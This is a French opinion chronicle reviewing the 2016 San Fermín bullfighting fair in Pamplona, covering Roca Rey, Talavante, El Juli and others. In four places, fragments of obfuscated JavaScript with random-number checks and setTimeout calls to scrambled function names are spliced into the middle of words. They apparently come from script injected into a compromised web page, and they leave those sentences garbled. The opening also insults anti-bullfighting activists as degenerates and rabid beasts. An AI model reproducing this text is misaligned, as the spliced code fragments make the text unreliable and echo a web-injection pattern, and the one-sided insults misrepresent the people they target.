ANNOTATIONS SUR PAMPELUNE 2016

Après avoir chanté le « Pobre de mí », San Fermín –chemise blanche et petit foulard rouge- , nous a laissé une stèle de brindis au ciel, un toro démesuré et quelques annotations intéressantes, alors qu’à l’extérieur de la fête à Pampelune était perceptible le degré croissant de sensibilité sociale, l’Espagne émue par la bassesse et l’inhumaine barbarie des messages de certains anti-taurins avaient affiché sur les réseaux sociaux après le coup de corne et la mort de Victor Barrio. La haine irréfrénable qui jaillissait des profondeurs immondes dans les textes injurieux de ces fanatiques animaliers ont allumé, semble t-il, le signal d’alarme de certaines instances de l’Etat, provoquant le début d’une série d’actions ayant pour objectif de traduire devant la justice les défoulements et insultes de ces dégénérés, capables de transformer capables d’échanger leur condition d’hommes rationnels pour celle de simples bêtes enragées. Que le poids de la justice tombe sur eux et que les politiciens et gouvernants commencent à prendre au sérieux les affronts et menaces qu’une des parcelles les plus authentiques de notre culture, comme celle de la Tauromachie, subit de la part de la dictature abolitionniste qu’incarnent l’anti-taurin, le séparatisme catalan et ce pseudo progressisme post moderne qui veut se faire une place au soleil.

La feria de San Fermín a été aussi marquée par la tragédie du 9 juillet à Teruel et fut le miroir où nous avons pu admirer la capacité à se surpasser, la passion pour leur métier et le courage terrible que détiennent les toreros. Malgré être passé, en seulement vingt-quatre heures, de recueillir à terre le corps du compagnon mort pour se mettre devant deux toros impressionnants sans se laisser abattre, comme cela est arrivé à Curro Díaz, en dit long sur les valeurs que la tauromachie inculque à ceux qui la pratiquent. Si Homère vivait de nos jours, il en aurait fait une nouvelle Iliade.

Le torero assume mieux la mort que l’échec. Et Roca Rey a été là pour démontrer, qu’avant et après la tragédie, il n’y a rien qui l’éloigne du triomphe. Il est arrivé à Pampelune pour se présenter devant deux sacrées corridas, trois toros compliqués et un bon, mais semi invalide, il émut les gradins proches de l’infarctus, il remporta cinq oreilles et acheva ses prestations par le seul chemin qu’il avait tracé : celui de la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte. Hormis sa prestation, il y eut aussi des faenas notoires différemment récompensées. Très méritoire, celle de Perera à son premier toro de Cuvillo. Ce fut comme une renaissance très opportune que son manque de réussite à l’épée ne peut pas éclipser. Avec du poids, sur les deux cornes, celle de Talavante à «Decano », de loin le meilleur toro de la feria, nuit comparativement par « Soplón » de Fuente Ymbro, et « Desgarbado » de Victoriano del Rio, tous deux injustement récompensés d’un tour de piste, alors que « Decano », qui la méritait, ne le reçut point. Heureusement, à la fin, la Casa de la Misericordia attribua au Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla le prix Carriquiri au toro le plus brave. Avec du pouvoir et de la race fut la prestation de El Juli au déjà cité « Desgarbado » et j’ai beaucoup apprécié l’attitude et l’engagement de Javier Jiménez avec le toro le plus potable d’une mauvaise corrida de Cebada. Trois vertèbres touchées et une amnésie passagère ne l’ont pas empêché de fouler la piste avec l’entrain d’un torero viril. Il faut lui faire une place et être juste avec lui.

Dans le prologue de la novillada s’est distingué Luis David Adame qui, cependant, m’a moins plu qu’à Madrid. J’ai appris plus tard qu’il a le projet de prendre l’alternative à Nîmes, pour les Vendanges. Je pense que c’est excessivement prématuré de franchir ce pas, même si je comprends que le monde des novilladas piquées est compliqué. Il doit savoir ce qu’il fait, en plus d’un objectif c’est un point de départ. Et après, quoi ? Où, comment et dans quelles contions on torée… Le temps le dira.

Notons aussi la faena bien construite de Dávila au meilleur Miura de la corrida. López Simón n’a pas levé le pied de l’accélérateur, même si sa côté n’a pas été revue à la hausse. Victoriano del Rio a remporté le prix à la corrida la plus complète. Ureña n’a pas été dans l’un de ses meilleurs jours. Bautista quant à lui coupa une oreille et ainsi, petit à petit –la Feria du Toro s’en est allée- et elle est maintenant derrière nous. Maintenant, c’est Santandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander qui nous attend.

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